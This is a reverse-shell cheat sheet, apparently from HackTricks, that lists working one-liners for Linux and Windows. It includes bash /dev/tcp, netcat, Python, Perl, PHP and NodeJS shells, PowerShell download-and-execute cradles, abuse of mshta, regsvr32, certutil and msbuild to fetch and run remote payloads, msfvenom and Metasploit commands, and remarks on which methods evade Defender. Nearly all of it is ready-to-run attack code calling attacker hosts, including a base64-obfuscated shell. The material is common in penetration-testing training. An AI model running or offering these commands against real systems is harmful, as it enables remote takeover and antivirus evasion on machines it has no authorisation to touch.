**Shells (Linux, Windows, MSFVenom)**

**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com/)

## [**Shells - Linux**](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux)

## Full TTY

**Once you get a reverse shell** **read the below page to obtain a full TTY.**

## Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash

bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1

bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP

0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)

(sh)0>/dev/tcp/10.10.10.10/9091

#after getting the previous shell to get the output to execute

exec >&0

Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.

### Symbol safe shell

#If you need a more stable connection do:

bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method

#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0

echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

#### Shell explanation

1. **bash -i**: This part of the command starts an interactive (-i) Bash shell.
2. **>&**: This part of the command is a shorthand notation for **redirecting both standard output** (stdout) and **standard error** (stderr) to the **same destination**.
3. **/dev/tcp/<ATTACKER-IP>/<PORT>**: This is a special file that **represents a TCP connection to the specified IP address and port**.
   1. By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine.
4. **0>&1**: This part of the command **redirects standard input (stdin) to the same destination as standard output (stdout)**.

### Create in file and execute

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;

wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

## Forward Shell

When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.

A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment.

To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named nix.py could be structured as follows:

import jwt

import httpx

def execute(command: str, timeout: float = None) -> str:

# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution

token = jwt.encode(

{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#\*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"

)

response = httpx.get(

url="https://vulnerable.io:3200",

headers={"Authorization": f"Bearer {token}"},

timeout=timeout,

# ||BURP||

verify=False,

)

# Check if the request was successful

response.raise\_for\_status()

return response.text

And then, you can run:

toboggan -m nix.py -i

To directly leverage an interractive shell. You can add -b for Burpsuite integration and remove the -i for a more basic rce wrapper.

Another possibility consist using the IppSec forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).

You just need to modify:

* The URL of the vulnerable host
* The prefix and suffix of your payload (if any)
* The way the payload is sent (headers? data? extra info?)

Then, you can just **send commands** or even **use the upgrade command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

## Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>

nc <ATTACKER-IP> <PORT> | /bin/sh #Blind

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f

nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>

rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

## gsocket

Check it in <https://www.gsocket.io/deploy/>

bash -c "$(curl -fsSL gsocket.io/x)"

## Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f

telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>

rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

## Whois

**Attacker**

while true; do nc -l <port>; done

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

**Victim**

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

## Python

#Linux

export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#IPv6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF\_INET6,socket.SOCK\_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

## Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$\_ while<>;'

## Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to\_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

## PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.

// Using this method may lead to instances where the connection reaches out to the listener and then closes.

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc\_open' makes no assumptions about what the file descriptor will be.

// See https://security.stackexchange.com/a/198944 for more information

<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc\_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

## Java

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

## Ncat

victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl

attacker> ncat -v 10.0.0.22 4444 --ssl

## Golang

echo 'package main;import"os/exec";import"net";func main(){c,\_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

## Lua

#Linux

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

#Windows & Linux

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("\*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

## NodeJS

(function(){

var net = require("net"),

cp = require("child\_process"),

sh = cp.spawn("/bin/sh", []);

var client = new net.Socket();

client.connect(8080, "10.17.26.64", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application form crashing

})();

or

require('child\_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

require('child\_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require

-x('child\_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string

"".sub.constructor("console.log(global.process.mainModule.constructor.\_load(\"child\_process\").execSync(\"id\").toString())")()

"".\_\_proto\_\_.constructor.constructor("console.log(global.process.mainModule.constructor.\_load(\"child\_process\").execSync(\"id\").toString())")()

or

// Abuse this syntax to get a reverse shell

var fs = this.process.binding('fs');

var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

## OpenSSL

The Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate

openssl s\_server -quiet -key key.pem -cert cert.pem -port <l\_port> #Here you will be able to introduce the commands

openssl s\_server -quiet -key key.pem -cert cert.pem -port <l\_port2> #Here yo will be able to get the response

The Victim

#Linux

openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT1>|/bin/bash|openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT2>

#Windows

openssl.exe s\_client -quiet -connect <ATTACKER\_IP>:<PORT1>|cmd.exe|openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT2>

## **Socat**

<https://github.com/andrew-d/static-binaries>

### Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim\_ip>:1337

### Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

victim> socat TCP4:<attackers\_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

## Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

## Finger

**Attacker**

while true; do nc -l 79; done

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

**Victim**

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

## Gawk

#!/usr/bin/gawk -f

BEGIN {

Port = 8080

Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0"

while (1) {

do {

printf Prompt |& Service

Service |& getline cmd

if (cmd) {

while ((cmd |& getline) > 0)

print $0 |& Service

close(cmd)

}

} while (cmd != "exit")

close(Service)

}

}

## Xterm

This will try to connect to your system at port 6001:

xterm -display 10.0.0.1:1

To catch the reverse shell you can use (which will listen in port 6001):

# Authorize host

xhost +targetip

# Listen

Xnest :1

## Groovy

by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy

String host="localhost";

int port=8044;

String cmd="cmd.exe";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

## References

* <https://highon.coffee/blog/reverse-shell-cheat-sheet/>
* <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell>
* <https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

## [**Shells - Windows**](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/windows)

## Lolbas

The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like <https://gtfobins.github.io/> is for linux. Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.**

## NC

nc.exe -e cmd.exe <Attacker\_IP> <PORT>

## SBD

[**sbd**](https://www.kali.org/tools/sbd/) **is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat.

# Victims machine

sbd -l -p 4444 -e bash -v -n

listening on port 4444

# Atackers

sbd 10.10.10.10 4444

id

uid=0(root) gid=0(root) groups=0(root)

## Python

#Windows

C:\Python27\python.exe -c "(lambda \_\_y, \_\_g, \_\_contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p\_thread.start(), [[(p2s\_thread.start(), (lambda \_\_out: (lambda \_\_ctx: [\_\_ctx.\_\_enter\_\_(), \_\_ctx.\_\_exit\_\_(None, None, None), \_\_out[0](lambda: None)][2])(\_\_contextlib.nested(type('except', (), {'\_\_enter\_\_': lambda self: None, '\_\_exit\_\_': lambda \_\_self, \_\_exctype, \_\_value, \_\_traceback: \_\_exctype is not None and (issubclass(\_\_exctype, KeyboardInterrupt) and [True for \_\_out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'\_\_enter\_\_': lambda self: None, '\_\_exit\_\_': lambda \_\_self, \_\_exctype, \_\_value, \_\_traceback: [False for \_\_out[0] in [((p.wait(), (lambda \_\_after: \_\_after()))[1])]][0]})())))([None]))[1] for p2s\_thread.daemon in [(True)]][0] for \_\_g['p2s\_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p\_thread.daemon in [(True)]][0] for \_\_g['s2p\_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for \_\_g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for \_\_g['s'] in [(socket.socket(socket.AF\_INET, socket.SOCK\_STREAM))]][0] for \_\_g['p2s'], p2s.\_\_name\_\_ in [(lambda s, p: (lambda \_\_l: [(lambda \_\_after: \_\_y(lambda \_\_this: lambda: (\_\_l['s'].send(\_\_l['p'].stdout.read(1)), \_\_this())[1] if True else \_\_after())())(lambda: None) for \_\_l['s'], \_\_l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for \_\_g['s2p'], s2p.\_\_name\_\_ in [(lambda s, p: (lambda \_\_l: [(lambda \_\_after: \_\_y(lambda \_\_this: lambda: [(lambda \_\_after: (\_\_l['p'].stdin.write(\_\_l['data']), \_\_after())[1] if (len(\_\_l['data']) > 0) else \_\_after())(lambda: \_\_this()) for \_\_l['data'] in [(\_\_l['s'].recv(1024))]][0] if True else \_\_after())())(lambda: None) for \_\_l['s'], \_\_l['p'] in [(s, p)]][0])({}), 's2p')]][0] for \_\_g['os'] in [(\_\_import\_\_('os', \_\_g, \_\_g))]][0] for \_\_g['socket'] in [(\_\_import\_\_('socket', \_\_g, \_\_g))]][0] for \_\_g['subprocess'] in [(\_\_import\_\_('subprocess', \_\_g, \_\_g))]][0] for \_\_g['threading'] in [(\_\_import\_\_('threading', \_\_g, \_\_g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), \_\_import\_\_('contextlib'))"

## Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$\_ while<>;'

## Ruby

#Windows

ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

## Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("\*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

## OpenSSH

Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate

openssl s\_server -quiet -key key.pem -cert cert.pem -port <l\_port> #Here you will be able to introduce the commands

openssl s\_server -quiet -key key.pem -cert cert.pem -port <l\_port2> #Here yo will be able to get the response

Victim

#Linux

openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT1>|/bin/bash|openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT2>

#Windows

openssl.exe s\_client -quiet -connect <ATTACKER\_IP>:<PORT1>|cmd.exe|openssl s\_client -quiet -connect <ATTACKER\_IP>:<PORT2>

## Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"

Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Process performing network call: **powershell.exe** Payload written on disk: **NO** (*at least nowhere I could find using procmon !*)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: **svchost.exe** Payload written on disk: **WebDAV client local cache**

**One liner:**

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

**Get more info about different Powershell Shells at the end of this document**

## Mshta

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)**

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

**You can download & execute very easily a Koadic zombie using the stager hta**

#### hta example

[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)

<html>

<head>

<HTA:APPLICATION ID="HelloExample">

<script language="jscript">

var c = "cmd.exe /c calc.exe";

new ActiveXObject('WScript.Shell').Run(c);

</script>

</head>

<body>

<script>self.close();</script>

</body>

</html>

#### **mshta - sct**

[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)

<?XML version="1.0"?>

<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->

<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->

<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->

<scriptlet>

<public>

</public>

<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</scriptlet>

#### **Mshta - Metasploit**

use exploit/windows/misc/hta\_server

msf exploit(windows/misc/hta\_server) > set srvhost 192.168.1.109

msf exploit(windows/misc/hta\_server) > set lhost 192.168.1.109

msf exploit(windows/misc/hta\_server) > exploit

Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

**Detected by defender**

## **Rundll32**

[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

**Detected by defender**

**Rundll32 - sct**

[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)

<?XML version="1.0"?>

<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->

<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->

<scriptlet>

<public>

</public>

<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</scriptlet>

#### **Rundll32 - Metasploit**

use windows/smb/smb\_delivery

run

#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

**Rundll32 - Koadic**

use stager/js/rundll32\_js

set SRVHOST 192.168.1.107

set ENDPOINT sales

run

#Koadic will tell you what you need to execute inside the victim, it will be something like:

rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

## Regsvr32

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

**Detected by defender**

#### Regsvr32 -sct

[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)

<?XML version="1.0"?>

<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->

<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->

<scriptlet>

<registration

progid="PoC"

classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</registration>

</scriptlet>

#### **Regsvr32 - Metasploit**

use multi/script/web\_delivery

set target 3

set payload windows/meterpreter/reverse/tcp

set lhost 10.2.0.5

run

#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

**You can download & execute very easily a Koadic zombie using the stager regsvr**

## Certutil

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

Download a B64dll, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Download a B64exe, decode it and execute it.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

**Detected by defender**

## **Cscript/Wscript**

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse\_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

**Cscript - Metasploit**

msfvenom -p cmd/windows/reverse\_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

**Detected by defender**

## PS-Bat

\\webdavserver\folder\batchfile.bat

Process performing network call: **svchost.exe** Payload written on disk: **WebDAV client local cache**

msfvenom -p cmd/windows/reverse\_powershell lhost=10.2.0.5 lport=4444 > shell.bat

impacket-smbserver -smb2support kali `pwd`

\\10.8.0.3\kali\shell.bat

**Detected by defender**

## **MSIExec**

Attacker

msfvenom -p windows/meterpreter/reverse\_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi

python -m SimpleHTTPServer 80

Victim:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

**Detected**

## **Wmic**

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

wmic os get /format:"https://webserver/payload.xsl"

Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):

<?xml version='1.0'?>

<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">

<output method="text"/>

<ms:script implements-prefix="user" language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");

]]>

</ms:script>

</stylesheet>

**Not detected**

**You can download & execute very easily a Koadic zombie using the stager wmic**

## Msbuild

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell. Just download this and execute it: <https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj>

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

**Not detected**

## **CSC**

Compile C# code in the victim machine.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: <https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc>

**Not deteted**

## **Regasm/Regsvc**

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

**I haven't tried it**

[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)

## Odbcconf

* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

odbcconf /s /a {regsvr \\webdavserver\folder\payload\_dll.txt}

**I haven't tried it**

[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)

## Powershell Shells

### PS-Nishang

<https://github.com/samratashok/nishang>

In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-*PowerShellTcp.ps1* make a of the script and append to the end of the file:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Start serving the script in a web server and execute it on the victim's end:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

**TODO: Check other nishang shells**

### **PS-Powercat**

[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

Download, start a web server, start the listener, and execute it on the victim's end:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender doesn't detect it as malicious code (yet, 3/04/2019).

**Other options offered by powercat:**

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:

powercat -l -p 443 -e cmd

Send a cmd Shell:

powercat -c 10.1.1.1 -p 443 -e cmd

Send a powershell:

powercat -c 10.1.1.1 -p 443 -ep

Send a powershell UDP:

powercat -c 10.1.1.1 -p 443 -ep -u

TCP Listener to TCP Client Relay:

powercat -l -p 8000 -r tcp:10.1.1.16:443

Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:

powercat -c 10.1.1.15 -p 443 -e cmd -g

Start A Persistent Server That Serves a File:

powercat -l -p 443 -i C:\inputfile -rep

### Empire

<https://github.com/EmpireProject/Empire>

Create a powershell launcher, save it in a file and download and execute it.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

**Detected as malicious code**

### MSF-Unicorn

<https://github.com/trustedsec/unicorn>

Create a powershell version of metasploit backdoor using unicorn

python unicorn.py windows/meterpreter/reverse\_https 10.2.0.5 443

Start msfconsole with the created resource:

msfconsole -r unicorn.rc

Start a web server serving the *powershell\_attack.txt* file and execute in the victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell\_attack.txt')|iex"

**Detected as malicious code**

## More

